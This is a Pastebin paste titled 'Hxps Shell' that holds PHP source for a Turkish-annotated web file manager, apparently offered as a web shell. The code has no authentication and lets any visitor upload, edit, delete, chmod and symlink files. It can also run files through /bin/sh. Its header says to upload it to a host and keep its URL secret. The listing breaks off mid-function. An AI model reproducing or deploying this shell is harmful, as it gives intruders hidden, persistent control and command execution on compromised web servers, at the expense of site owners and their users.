blackcyberrootshell

[ + ] Hxps Shell [ + ]

Mar 3rd, 2015
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 55.10 KB | None | 0 0
  1. <?php
  2. /*
  3.  * iMHaPFTP.php - iMHaBiRLiGi Php Ftp Editoru
  4.  * Copyright (C) 2003-2005  iMHaBiRLiGi <[email protected]>
  5.  *
  6.  * Bu Kod Tamamiyle Özgür Yazilimdir.
  7.  * Kötü Amaclar ile kullanilmamak sartiyla istenildigi gibi Kullanilabilir
  8.  * Programin amaci ftp olmadan hostunuza baglanti kurup
  9.  * Dosya ekleyip kaldira bilmektir.
  10.  * Kodumuz 6 Dilde yazilmistir.Server Diline Göre Otomatik Secim Yapar.
  11.  * -------------------------------------------------------------------------
  12.  * Kodu hosta attiktan sonra adres cubuguna kodun uzantisini verip baglanin
  13.  * Ve Asla kimseye bu kodun uzantisini vermeyiniz.!!
  14.  * -------------------------------------------------------------------------
  15.  *
  16.  * iMHaBiRLiGi PhpFtp V1.1
  17.  * =========================================================================
  18.  *
  19.  * BeweiS
  20.  *    iMHaBiRLiGi Administrator
  21.  *    Php-Asp-Programlama ve Güvenlik
  22.  *
  23.  * MicroP_
  24.  *    iMHaBiRLiGi Administrator
  25.  *    Php-Asp-Programlama ve Güvenlik
  26.  *
  27.  * Libertical
  28.  *    iMHaBiRLiGi Yönetim
  29.  *    C++, Delphi,Programlama ve Linux Hastasi
  30.  *
  31.  * PowerGhost
  32.  *    iMHaBiRLiGi Sistem Danismani
  33.  *    Sistem Danismani
  34.  *    
  35.  *  BadSector
  36.  *  iMHaBiRLiGi Yönetim
  37.  *   VicualBasic-Delphi Programlama
  38.  *   Sistemdanismani ve Linux Hastasi
  39.  *
  40.  * Bu kodun yaziliminda ismi gecen her arkadasimizin
  41.  * Katkilari bulunmustur.
  42.  * Herbiri ilgi alaninda Basarili olduklari konularda kodumuzu gelistirmemize
  43.  * Katkida bulunmuslardir.
  44.  * NOT: Kod Hakkinda takildiniz konulari iMHaBiRLiGi Forumlarina Sora bilirsiniz
  45.  * http://www.imhabirligi.com
  46. /* ------------------------------------------------------------------------- */
  47.  
  48. /* Diller :
  49.  * 'en' - English
  50.  * 'de' - German
  51.  * 'fr' - French
  52.  * 'it' - Italian
  53.  * 'se' - Swedish
  54.  * 'auto' - autoselect
  55.  */
  56. $lang = 'auto';
  57.  
  58. /* Charset of your filenames:
  59.  */
  60. $charset = 'ISO-8859-1';
  61.  
  62. /* Homedir:
  63.  * For example: './' - the script's directory
  64.  */
  65. $homedir = './';
  66.  
  67. /* Size of the Düzenle textarea
  68.  */
  69. $Düzenlecols = 80;
  70. $Düzenlerows = 25;
  71.  
  72. /* -------------------------------------------
  73.  * Optional configuration (reTasi # to enable)
  74.  */
  75.  
  76. /* Permission of created directories:
  77.  * For example: 0705 would be 'drwx---r-x'.
  78.  */
  79. # $dirpermission = 0705;
  80.  
  81. /* Permission of created files:
  82.  * For example: 0604 would be '-rw----r--'.
  83.  */
  84. # $filepermission = 0604;
  85.  
  86. /* Filenames related to the apache web server:
  87.  */
  88. $htaccess = '.htaccess';
  89. $htpasswd = '.htpasswd';
  90.  
  91. /* ------------------------------------------------------------------------- */
  92.  
  93. if (get_magic_quotes_gpc()) {
  94.     array_walk($_GET, 'strip');
  95.     array_walk($_POST, 'strip');
  96.     array_walk($_REQUEST, 'strip');
  97. }
  98.  
  99. if (array_key_exists('image', $_GET)) {
  100.     header('Content-Type: image/gif');
  101.     die(getimage($_GET['image']));
  102. }
  103.  
  104. $delim = DIRECTORY_SEPARATOR;
  105.  
  106. if (function_exists('php_uname')) {
  107.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  108. } else {
  109.     $win = ($delim == '\\') ? true : false;
  110. }
  111.  
  112. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  113.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  114. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  115.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  116. } elseif (function_exists('getcwd')) {
  117.     $scriptdir = getcwd();
  118. } else {
  119.     $scriptdir = '.';
  120. }
  121. $homedir = relative2absolute($homedir, $scriptdir);
  122.  
  123. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  124.  
  125. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  126.     $dir = relative2absolute($dir, $_POST['olddir']);
  127. }
  128.  
  129. $directory = simplify_path(addslash($dir));
  130.  
  131. $files = array();
  132. $action = '';
  133. if (!empty($_POST['submit_all'])) {
  134.     $action = $_POST['action_all'];
  135.     for ($i = 0; $i < $_POST['num']; $i++) {
  136.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  137.             $files[] = $_POST["file$i"];
  138.         }
  139.     }
  140. } elseif (!empty($_REQUEST['action'])) {
  141.     $action = $_REQUEST['action'];
  142.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  143. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  144.     $files[] = $_FILES['upload'];
  145.     $action = 'upload';
  146. } elseif (array_key_exists('num', $_POST)) {
  147.     for ($i = 0; $i < $_POST['num']; $i++) {
  148.         if (array_key_exists("submit$i", $_POST)) break;
  149.     }
  150.     if ($i < $_POST['num']) {
  151.         $action = $_POST["action$i"];
  152.         $files[] = $_POST["file$i"];
  153.     }
  154. }
  155. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  156.     $files[] = relative2absolute($_POST['create_name'], $directory);
  157.     switch ($_POST['create_type']) {
  158.     case 'directory':
  159.         $action = 'create_directory';
  160.         break;
  161.     case 'file':
  162.         $action = 'create_file';
  163.     }
  164. }
  165. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  166.  
  167. if ($lang == 'auto') {
  168.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  169.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  170.     } else {
  171.         $lang = 'en';
  172.     }
  173. }
  174.  
  175. $words = getwords($lang);
  176.  
  177. $cols = ($win) ? 4 : 7;
  178.  
  179. if (!isset($dirpermission)) {
  180.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  181. }
  182. if (!isset($filepermission)) {
  183.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  184. }
  185.  
  186. if (!empty($_SERVER['SCRIPT_NAME'])) {
  187.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  188. } elseif (!empty($_SERVER['PHP_SELF'])) {
  189.     $self = html(basename($_SERVER['PHP_SELF']));
  190. } else {
  191.     $self = '';
  192. }
  193.  
  194. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  195.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  196.         $apache = true;
  197.     } else {
  198.         $apache = false;
  199.     }
  200. } else {
  201.     $apache = true;
  202. }
  203.  
  204. switch ($action) {
  205.  
  206. case 'view':
  207.  
  208.     if (is_script($file)) {
  209.  
  210.         /* highlight_file is a mess! */
  211.         ob_start();
  212.         highlight_file($file);
  213.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  214.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  215.         ob_end_clean();
  216.  
  217.         html_header();
  218.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  219.  
  220. <hr />
  221.  
  222. <table>
  223. <tr>
  224. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  225. <pre style="margin-top: 0"><code>';
  226.  
  227.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  228.  
  229.         echo '</code></pre>
  230. </td>
  231. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  232. <pre style="margin-top: 0">' . $src . '</pre>
  233. </td>
  234. </tr>
  235. </table>
  236.  
  237. ';
  238.  
  239.         html_footer();
  240.  
  241.     } else {
  242.  
  243.         header('Content-Type: ' . getmimetype($file));
  244.         header('Content-Disposition: filename=' . basename($file));
  245.  
  246.         readfile($file);
  247.  
  248.     }
  249.  
  250.     break;
  251.  
  252. case 'indir':
  253.  
  254.     header('Pragma: public');
  255.     header('Expires: 0');
  256.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  257.     header('Content-Type: ' . getmimetype($file));
  258.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  259.     header('Content-Length: ' . filesize($file));
  260.  
  261.     readfile($file);
  262.  
  263.     break;
  264.  
  265. case 'upload':
  266.  
  267.     $dest = relative2absolute($file['name'], $directory);
  268.  
  269.     if (@file_exists($dest)) {
  270.         listing_page(error('already_exists', $dest));
  271.     } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) {
  272.         listing_page(notice('uploaded', $file['name']));
  273.     } else {
  274.         listing_page(error('not_uploaded', $file['name']));
  275.     }
  276.  
  277.     break;
  278.  
  279. case 'create_directory':
  280.  
  281.     if (@file_exists($file)) {
  282.         listing_page(error('already_exists', $file));
  283.     } else {
  284.         $old = @umask(0777 & ~$dirpermission);
  285.         if (@mkdir($file, $dirpermission)) {
  286.             listing_page(notice('created', $file));
  287.         } else {
  288.             listing_page(error('not_created', $file));
  289.         }
  290.         @umask($old);
  291.     }
  292.  
  293.     break;
  294.  
  295. case 'create_file':
  296.  
  297.     if (@file_exists($file)) {
  298.         listing_page(error('already_exists', $file));
  299.     } else {
  300.         $old = @umask(0777 & ~$filepermission);
  301.         if (@touch($file)) {
  302.             Düzenle($file);
  303.         } else {
  304.             listing_page(error('not_created', $file));
  305.         }
  306.         @umask($old);
  307.     }
  308.  
  309.     break;
  310.  
  311. case 'execute':
  312.  
  313.     chdir(dirname($file));
  314.  
  315.     $output = array();
  316.     $retval = 0;
  317.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  318.  
  319.     $error = ($retval == 0) ? false : true;
  320.  
  321.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  322.  
  323.     if ($error) {
  324.         listing_page(error('not_executed', $file, implode("\n", $output)));
  325.     } else {
  326.         listing_page(notice('executed', $file, implode("\n", $output)));
  327.     }
  328.  
  329.     break;
  330.  
  331. case 'Sil':
  332.  
  333.     if (!empty($_POST['no'])) {
  334.         listing_page();
  335.     } elseif (!empty($_POST['yes'])) {
  336.  
  337.         $failure = array();
  338.         $success = array();
  339.  
  340.         foreach ($files as $file) {
  341.             if (del($file)) {
  342.                 $success[] = $file;
  343.             } else {
  344.                 $failure[] = $file;
  345.             }
  346.         }
  347.  
  348.         $message = '';
  349.         if (sizeof($failure) > 0) {
  350.             $message = error('not_Sild', implode("\n", $failure));
  351.         }
  352.         if (sizeof($success) > 0) {
  353.             $message .= notice('Sild', implode("\n", $success));
  354.         }
  355.  
  356.         listing_page($message);
  357.  
  358.     } else {
  359.  
  360.         html_header();
  361.  
  362.         echo '<form action="' . $self . '" method="post">
  363. <table class="dialog">
  364. <tr>
  365. <td class="dialog">
  366. ';
  367.  
  368.         request_dump();
  369.  
  370.         echo "\t<b>" . word('really_Sil') . '</b>
  371.     <p>
  372. ';
  373.  
  374.         foreach ($files as $file) {
  375.             echo "\t" . html($file) . "<br />\n";
  376.         }
  377.  
  378.         echo '  </p>
  379.     <hr />
  380.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  381.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  382. </td>
  383. </tr>
  384. </table>
  385. </form>
  386.  
  387. ';
  388.  
  389.         html_footer();
  390.  
  391.     }
  392.  
  393.     break;
  394.  
  395. case 'Degistir':
  396.  
  397.     if (!empty($_POST['Yol'])) {
  398.  
  399.         $dest = relative2absolute($_POST['Yol'], $directory);
  400.  
  401.         if (!@file_exists($dest) && @Degistir($file, $dest)) {
  402.             listing_page(notice('Degistird', $file, $dest));
  403.         } else {
  404.             listing_page(error('not_Degistird', $file, $dest));
  405.         }
  406.  
  407.     } else {
  408.  
  409.         html_header();
  410.  
  411.         echo '<form action="' . $self . '" method="post">
  412.  
  413. <table class="dialog">
  414. <tr>
  415. <td class="dialog">
  416.     <input type="hidden" name="action" value="Degistir" />
  417.     <input type="hidden" name="file" value="' . html($file) . '" />
  418.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  419.     <b>' . word('Degistir_file') . '</b>
  420.     <p>' . html($file) . '</p>
  421.     <hr />
  422.     ' . word('Yol') . ':
  423.     <input type="text" name="Yol" size="' . textfieldsize($file) . '" value="' . html($file) . '" />
  424.     <input type="submit" value="' . word('Degistir') . '" />
  425. </td>
  426. </tr>
  427. </table>
  428.  
  429. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  430.  
  431. </form>
  432.  
  433. ';
  434.  
  435.         html_footer();
  436.  
  437.     }
  438.  
  439.     break;
  440.  
  441. case 'Tasi':
  442.  
  443.     if (!empty($_POST['Yol'])) {
  444.  
  445.         $dest = relative2absolute($_POST['Yol'], $directory);
  446.  
  447.         $failure = array();
  448.         $success = array();
  449.  
  450.         foreach ($files as $file) {
  451.             $filename = substr($file, strlen($directory));
  452.             $d = $dest . $filename;
  453.             if (!@file_exists($d) && @Degistir($file, $d)) {
  454.                 $success[] = $file;
  455.             } else {
  456.                 $failure[] = $file;
  457.             }
  458.         }
  459.  
  460.         $message = '';
  461.         if (sizeof($failure) > 0) {
  462.             $message = error('not_Tasid', implode("\n", $failure), $dest);
  463.         }
  464.         if (sizeof($success) > 0) {
  465.             $message .= notice('Tasid', implode("\n", $success), $dest);
  466.         }
  467.  
  468.         listing_page($message);
  469.  
  470.     } else {
  471.  
  472.         html_header();
  473.  
  474.         echo '<form action="' . $self . '" method="post">
  475.  
  476. <table class="dialog">
  477. <tr>
  478. <td class="dialog">
  479. ';
  480.  
  481.         request_dump();
  482.  
  483.         echo "\t<b>" . word('Tasi_files') . '</b>
  484.     <p>
  485. ';
  486.  
  487.         foreach ($files as $file) {
  488.             echo "\t" . html($file) . "<br />\n";
  489.         }
  490.  
  491.         echo '  </p>
  492.     <hr />
  493.     ' . word('Yol') . ':
  494.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  495.     <input type="submit" value="' . word('Tasi') . '" />
  496. </td>
  497. </tr>
  498. </table>
  499.  
  500. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  501.  
  502. </form>
  503.  
  504. ';
  505.  
  506.         html_footer();
  507.  
  508.     }
  509.  
  510.     break;
  511.  
  512. case 'Kopyala':
  513.  
  514.     if (!empty($_POST['Yol'])) {
  515.  
  516.         $dest = relative2absolute($_POST['Yol'], $directory);
  517.  
  518.         if (@is_dir($dest)) {
  519.  
  520.             $failure = array();
  521.             $success = array();
  522.  
  523.             foreach ($files as $file) {
  524.                 $filename = substr($file, strlen($directory));
  525.                 $d = addslash($dest) . $filename;
  526.                 if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) {
  527.                     $success[] = $file;
  528.                 } else {
  529.                     $failure[] = $file;
  530.                 }
  531.             }
  532.  
  533.             $message = '';
  534.             if (sizeof($failure) > 0) {
  535.                 $message = error('not_copied', implode("\n", $failure), $dest);
  536.             }
  537.             if (sizeof($success) > 0) {
  538.                 $message .= notice('copied', implode("\n", $success), $dest);
  539.             }
  540.  
  541.             listing_page($message);
  542.  
  543.         } else {
  544.  
  545.             if (!@file_exists($dest) && @Kopyala($file, $dest)) {
  546.                 listing_page(notice('copied', $file, $dest));
  547.             } else {
  548.                 listing_page(error('not_copied', $file, $dest));
  549.             }
  550.  
  551.         }
  552.  
  553.     } else {
  554.  
  555.         html_header();
  556.  
  557.         echo '<form action="' . $self . '" method="post">
  558.  
  559. <table class="dialog">
  560. <tr>
  561. <td class="dialog">
  562. ';
  563.  
  564.         request_dump();
  565.  
  566.         echo "\n<b>" . word('Kopyala_files') . '</b>
  567.     <p>
  568. ';
  569.  
  570.         foreach ($files as $file) {
  571.             echo "\t" . html($file) . "<br />\n";
  572.         }
  573.  
  574.         echo '  </p>
  575.     <hr />
  576.     ' . word('Yol') . ':
  577.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  578.     <input type="submit" value="' . word('Kopyala') . '" />
  579. </td>
  580. </tr>
  581. </table>
  582.  
  583. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  584.  
  585. </form>
  586.  
  587. ';
  588.  
  589.         html_footer();
  590.  
  591.     }
  592.  
  593.     break;
  594.  
  595. case 'create_symlink':
  596.  
  597.     if (!empty($_POST['Yol'])) {
  598.  
  599.         $dest = relative2absolute($_POST['Yol'], $directory);
  600.  
  601.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  602.  
  603.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  604.  
  605.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  606.             listing_page(notice('symlinked', $file, $dest));
  607.         } else {
  608.             listing_page(error('not_symlinked', $file, $dest));
  609.         }
  610.  
  611.     } else {
  612.  
  613.         html_header();
  614.  
  615.         echo '<form action="' . $self . '" method="post">
  616.  
  617. <table class="dialog" id="symlink">
  618. <tr>
  619.     <td style="vertical-align: top">' . word('Yol') . ': </td>
  620.     <td>
  621.         <b>' . html($file) . '</b><br />
  622.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  623.         <label for="checkbox_relative">' . word('relative') . '</label>
  624.         <input type="hidden" name="action" value="create_symlink" />
  625.         <input type="hidden" name="file" value="' . html($file) . '" />
  626.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  627.     </td>
  628. </tr>
  629. <tr>
  630.     <td>' . word('symlink') . ': </td>
  631.     <td>
  632.         <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  633.         <input type="submit" value="' . word('create_symlink') . '" />
  634.     </td>
  635. </tr>
  636. </table>
  637.  
  638. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  639.  
  640. </form>
  641.  
  642. ';
  643.  
  644.         html_footer();
  645.  
  646.     }
  647.  
  648.     break;
  649.  
  650. case 'Düzenle':
  651.  
  652.     if (!empty($_POST['save'])) {
  653.  
  654.         $content = str_replace("\r\n", "\n", $_POST['content']);
  655.  
  656.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  657.             listing_page(notice('saved', $file));
  658.         } else {
  659.             listing_page(error('not_saved', $file));
  660.         }
  661.  
  662.     } else {
  663.  
  664.         if (@is_readable($file) && @is_writable($file)) {
  665.             Düzenle($file);
  666.         } else {
  667.             listing_page(error('not_Düzenleed', $file));
  668.         }
  669.  
  670.     }
  671.  
  672.     break;
  673.  
  674. case 'permission':
  675.  
  676.     if (!empty($_POST['set'])) {
  677.  
  678.         $mode = 0;
  679.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  680.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  681.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  682.  
  683.         if (@chmod($file, $mode)) {
  684.             listing_page(notice('permission_set', $file, decoct($mode)));
  685.         } else {
  686.             listing_page(error('permission_not_set', $file, decoct($mode)));
  687.         }
  688.  
  689.     } else {
  690.  
  691.         html_header();
  692.  
  693.         $mode = fileperms($file);
  694.  
  695.         echo '<form action="' . $self . '" method="post">
  696.  
  697. <table class="dialog">
  698. <tr>
  699. <td class="dialog">
  700.  
  701.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  702.  
  703.     <hr />
  704.  
  705.     <table id="permission">
  706.     <tr>
  707.         <td></td>
  708.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  709.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  710.         <td>' . word('other') . '</td>
  711.     </tr>
  712.     <tr>
  713.         <td style="text-align: right">' . word('read') . ':</td>
  714.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  715.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  716.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  717.     </tr>
  718.     <tr>
  719.         <td style="text-align: right">' . word('write') . ':</td>
  720.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  721.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  722.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  723.     </tr>
  724.     <tr>
  725.         <td style="text-align: right">' . word('execute') . ':</td>
  726.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  727.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  728.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  729.     </tr>
  730.     </table>
  731.  
  732.     <hr />
  733.  
  734.     <input type="submit" name="set" value="' . word('set') . '" />
  735.  
  736.     <input type="hidden" name="action" value="permission" />
  737.     <input type="hidden" name="file" value="' . html($file) . '" />
  738.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  739.  
  740. </td>
  741. </tr>
  742. </table>
  743.  
  744. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  745.  
  746. </form>
  747.  
  748. ';
  749.  
  750.         html_footer();
  751.  
  752.     }
  753.  
  754.     break;
  755.  
  756. default:
  757.  
  758.     listing_page();
  759.  
  760. }
  761.  
  762. /* ------------------------------------------------------------------------- */
  763.  
  764. function getlist ($directory) {
  765.     global $delim, $win;
  766.  
  767.     if ($d = @opendir($directory)) {
  768.  
  769.         while (($filename = @readdir($d)) !== false) {
  770.  
  771.             $path = $directory . $filename;
  772.  
  773.             if ($stat = @lstat($path)) {
  774.  
  775.                 $file = array(
  776.                     'filename'    => $filename,
  777.                     'path'        => $path,
  778.                     'is_file'     => @is_file($path),
  779.                     'is_dir'      => @is_dir($path),
  780.                     'is_link'     => @is_link($path),
  781.                     'is_readable' => @is_readable($path),
  782.                     'is_writable' => @is_writable($path),
  783.                     'size'        => $stat['size'],
  784.                     'permission'  => $stat['mode'],
  785.                     'owner'       => $stat['uid'],
  786.                     'group'       => $stat['gid'],
  787.                     'mtime'       => @filemtime($path),
  788.                     'atime'       => @fileatime($path),
  789.                     'ctime'       => @filectime($path)
  790.                 );
  791.  
  792.                 if ($file['is_dir']) {
  793.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  794.                 } else {
  795.                     if (!$win) {
  796.                         $file['is_executable'] = @is_executable($path);
  797.                     } else {
  798.                         $file['is_executable'] = true;
  799.                     }
  800.                 }
  801.  
  802.                 if ($file['is_link']) $file['target'] = @readlink($path);
  803.  
  804.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  805.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  806.  
  807.                 $files[] = $file;
  808.  
  809.             }
  810.  
  811.         }
  812.  
  813.         return $files;
  814.  
  815.     } else {
  816.         return false;
  817.     }
  818.  
  819. }
  820.  
  821. function sortlist (&$list, $key, $reverse) {
  822.  
  823.     quicksort($list, 0, sizeof($list) - 1, $key);
  824.  
  825.     if ($reverse) $list = array_reverse($list);
  826.  
  827. }
  828.  
  829. function quicksort (&$array, $first, $last, $key) {
  830.  
  831.     if ($first < $last) {
  832.  
  833.         $cmp = $array[floor(($first + $last) / 2)][$key];
  834.  
  835.         $l = $first;
  836.         $r = $last;
  837.  
  838.         while ($l <= $r) {
  839.  
  840.             while ($array[$l][$key] < $cmp) $l++;
  841.             while ($array[$r][$key] > $cmp) $r--;
  842.  
  843.             if ($l <= $r) {
  844.  
  845.                 $tmp = $array[$l];
  846.                 $array[$l] = $array[$r];
  847.                 $array[$r] = $tmp;
  848.  
  849.                 $l++;
  850.                 $r--;
  851.  
  852.             }
  853.  
  854.         }
  855.  
  856.         quicksort($array, $first, $r, $key);
  857.         quicksort($array, $l, $last, $key);
  858.  
  859.     }
  860.  
  861. }
  862.  
  863. function permission_octal2string ($mode) {
  864.  
  865.     if (($mode & 0xC000) === 0xC000) {
  866.         $type = 's';
  867.     } elseif (($mode & 0xA000) === 0xA000) {
  868.         $type = 'l';
  869.     } elseif (($mode & 0x8000) === 0x8000) {
  870.         $type = '-';
  871.     } elseif (($mode & 0x6000) === 0x6000) {
  872.         $type = 'b';
  873.     } elseif (($mode & 0x4000) === 0x4000) {
  874.         $type = 'd';
  875.     } elseif (($mode & 0x2000) === 0x2000) {
  876.         $type = 'c';
  877.     } elseif (($mode & 0x1000) === 0x1000) {
  878.         $type = 'p';
  879.     } else {
  880.         $type = '?';
  881.     }
  882.  
  883.     $owner  = ($mode & 00400) ? 'r' : '-';
  884.     $owner .= ($mode & 00200) ? 'w' : '-';
  885.     if ($mode & 0x800) {
  886.         $owner .= ($mode & 00100) ? 's' : 'S';
  887.     } else {
  888.         $owner .= ($mode & 00100) ? 'x' : '-';
  889.     }
  890.  
  891.     $group  = ($mode & 00040) ? 'r' : '-';
  892.     $group .= ($mode & 00020) ? 'w' : '-';
  893.     if ($mode & 0x400) {
  894.         $group .= ($mode & 00010) ? 's' : 'S';
  895.     } else {
  896.         $group .= ($mode & 00010) ? 'x' : '-';
  897.     }
  898.  
  899.     $other  = ($mode & 00004) ? 'r' : '-';
  900.     $other .= ($mode & 00002) ? 'w' : '-';
  901.     if ($mode & 0x200) {
  902.         $other .= ($mode & 00001) ? 't' : 'T';
  903.     } else {
  904.         $other .= ($mode & 00001) ? 'x' : '-';
  905.     }
  906.  
  907.     return $type . $owner . $group . $other;
  908.  
  909. }
  910.  
  911. function is_script ($filename) {
  912.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  913. }
  914.  
  915. function getmimetype ($filename) {
  916.     static $mimes = array(
  917.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  918.         '\.gif$'          => 'image/gif',
  919.         '\.png$'          => 'image/png',
  920.         '\.html$|\.html$' => 'text/html',
  921.         '\.txt$|\.asc$'   => 'text/plain',
  922.         '\.xml$|\.xsl$'   => 'application/xml',
  923.         '\.pdf$'          => 'application/pdf'
  924.     );
  925.  
  926.     foreach ($mimes as $regex => $mime) {
  927.         if (eregi($regex, $filename)) return $mime;
  928.     }
  929.  
  930.     // return 'application/octet-stream';
  931.     return 'text/plain';
  932.  
  933. }
  934.  
  935. function del ($file) {
  936.     global $delim;
  937.  
  938.     if (!@is_link($file) && !file_exists($file)) return false;
  939.  
  940.     if (!@is_link($file) && @is_dir($file)) {
  941.  
  942.         if ($dir = @opendir($file)) {
  943.  
  944.             $error = false;
  945.  
  946.             while (($f = readdir($dir)) !== false) {
  947.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  948.                     $error = true;
  949.                 }
  950.             }
  951.             closedir($dir);
  952.  
  953.             if (!$error) return @rmdir($file);
  954.  
  955.             return !$error;
  956.  
  957.         } else {
  958.             return false;
  959.         }
  960.  
  961.     } else {
  962.         return @unlink($file);
  963.     }
  964.  
  965. }
  966.  
  967. function addslash ($directory) {
  968.     global $delim;
  969.  
  970.     if (substr($directory, -1, 1) != $delim) {
  971.         return $directory . $delim;
  972.     } else {
  973.         return $directory;
  974.     }
  975.  
  976. }
  977.  
  978. function relative2absolute ($string, $directory) {
  979.  
  980.     if (path_is_relative($string)) {
  981.         return simplify_path(addslash($directory) . $string);
  982.     } else {
  983.         return simplify_path($string);
  984.     }
  985.  
  986. }
  987.  
  988. function path_is_relative ($path) {
  989.     global $win;
  990.  
  991.     if ($win) {
  992.         return (substr($path, 1, 1) != ':');
  993.     } else {
  994.         return (substr($path, 0, 1) != '/');
  995.     }
  996.  
  997. }
  998.  
  999. function absolute2relative ($directory, $target) {
  1000.     global $delim;
  1001.  
  1002.     $path = '';
  1003.     while ($directory != $target) {
  1004.         if ($directory == substr($target, 0, strlen($directory))) {
  1005.             $path .= substr($target, strlen($directory));
  1006.             break;
  1007.         } else {
  1008.             $path .= '..' . $delim;
  1009.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1010.         }
  1011.     }
  1012.     if ($path == '') $path = '.';
  1013.  
  1014.     return $path;
  1015.  
  1016. }
  1017.  
  1018. function simplify_path ($path) {
  1019.     global $delim;
  1020.  
  1021.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1022.         $path = realpath($path);
  1023.         if (@is_dir($path)) {
  1024.             return addslash($path);
  1025.         } else {
  1026.             return $path;
  1027.         }
  1028.     }
  1029.  
  1030.     $pattern  = $delim . '.' . $delim;
  1031.  
  1032.     if (@is_dir($path)) {
